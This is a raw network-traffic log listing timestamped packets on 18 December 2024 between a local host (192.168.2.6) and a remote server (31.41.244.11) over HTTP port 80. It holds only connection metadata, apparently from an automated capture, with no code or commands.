Dec 18, 2024 11:47:45.998838902 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.998855114 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.998867989 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.998888969 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.000170946 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.000190020 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.000206947 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.000211954 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.000226974 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.000243902 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.002376080 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.002393007 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.002423048 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.002435923 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.002458096 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.003449917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.003468037 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.003506899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.004724026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.004740000 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.004755974 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.004786968 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.004797935 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.006988049 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.007006884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.007023096 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.007046938 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.007070065 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.008387089 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.009526968 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.009547949 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.009566069 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.009572983 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.009597063 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.010565042 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.010581017 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.010597944 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.010617971 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.010632038 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.012859106 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.012876987 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.012895107 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.012908936 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.012923956 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.014014959 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.014030933 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.014045954 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.014072895 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.014086008 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.016367912 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.016390085 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.016408920 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.016416073 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.016429901 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.016447067 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.017045975 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.018697023 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.018718958 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.018735886 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.018743038 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.018769026 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.020332098 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.020354033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.020370960 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.020379066 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.020402908 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.022238970 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.022265911 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.022281885 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.022330999 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.022366047 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.022407055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.024568081 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.024588108 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.024604082 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.024624109 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.024643898 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.025362015 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.026843071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.026859045 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.026875019 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.026902914 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.026926994 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.028135061 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.028151035 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.028167009 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.028183937 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.028218985 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.030355930 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.030371904 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.030396938 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.030420065 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.030435085 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.031670094 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.031686068 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.031701088 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.031718016 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.031735897 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.034006119 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.034022093 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.034037113 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.034054995 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.034085035 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.034329891 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.036283970 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.036300898 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.036319017 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.036339998 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.036356926 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.037353039 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.038480997 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.038496971 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.038531065 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.038546085 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.039726973 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.039742947 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.039758921 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.039786100 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.039830923 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.040365934 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.042143106 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.042159081 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.042180061 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.042198896 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.042229891 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.043375969 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.043390989 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.043406010 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.043422937 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.043457031 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.045572042 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.045588017 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.045603991 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.045640945 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.045661926 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.046330929 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.047919035 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.047935009 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.047951937 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.047972918 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.048012018 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.049053907 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.049082994 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.049099922 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.049128056 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.049350977 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.049911022 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.051419973 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.051435947 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.051450014 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.051471949 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.051492929 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.052361965 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.052517891 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.182410955 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.182431936 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.182501078 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.183938980 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.183957100 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.183970928 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.184003115 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.184022903 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.185393095 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.185405016 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.185417891 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.185441971 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.185467958 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.186362982 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.187362909 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.187376022 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.187416077 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.188899994 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.188911915 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.188918114 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.188982010 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.189392090 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.191262007 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.191276073 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.191288948 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.191443920 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.192559004 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.192573071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.192584991 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.192625046 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.194276094 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.194289923 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.194333076 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.195904970 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.195919037 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.195930958 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.195955038 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.195972919 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.197273016 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.197284937 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.197298050 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.197335005 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.199434996 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.199454069 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.199466944 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.199512005 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.200800896 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.200814009 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.200825930 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.200859070 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.200881958 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.203048944 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.203068018 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.203082085 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.203114986 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.203135967 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.204200983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.204212904 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.204225063 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.204255104 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.204277039 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.206383944 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.206398964 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.206442118 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.207628012 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.207640886 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.207653046 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.207680941 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.207693100 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.208941936 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.208955050 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.208966017 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.208983898 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.209012985 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.210376978 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.210391998 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.210433960 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.212331057 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.212344885 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.212357044 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.212393045 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.212408066 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.213360071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.214629889 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.214643002 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.214658976 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.214678049 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.214704990 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.215936899 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.215950012 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.215960979 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.215981960 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.216012955 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.217464924 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.217478037 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.217524052 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.218374968 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.218388081 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.218439102 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.220017910 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.220031023 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.220077038 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.221275091 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.221290112 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.221333981 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.222826958 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.222842932 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.222855091 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.222875118 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.222907066 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.223953009 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.223968983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.224013090 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.225254059 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.225270033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.225282907 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.225301981 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.225337982 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.226351023 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.226864100 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.227045059 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.227729082 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.227742910 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.227775097 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.227806091 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.230370045 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.230386019 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.230432987 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.231878042 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.231890917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.231903076 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.231935024 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.232873917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.232886076 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.232897997 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.232919931 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.232935905 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.234344959 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.234359026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.234405994 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.235671997 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.235690117 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.235701084 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.235738039 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.236905098 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.236916065 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.236927986 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.236954927 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.236970901 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.238359928 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.238373995 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.238457918 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.239258051 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.239270926 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.239332914 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.241571903 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.241589069 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.241600990 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.241617918 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.241646051 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.242347956 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.246371984 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.246373892 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.246403933 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.246448040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.373786926 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.373807907 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.373827934 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.373847961 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.373881102 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.374742031 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.374754906 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.374766111 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.374789000 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.374818087 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.376427889 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.376440048 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.376451015 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.376482010 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.376512051 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.377183914 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.377229929 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.377628088 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.377705097 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.377768993 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.377895117 CET	49878	80	192.168.2.6	31.41.244.11
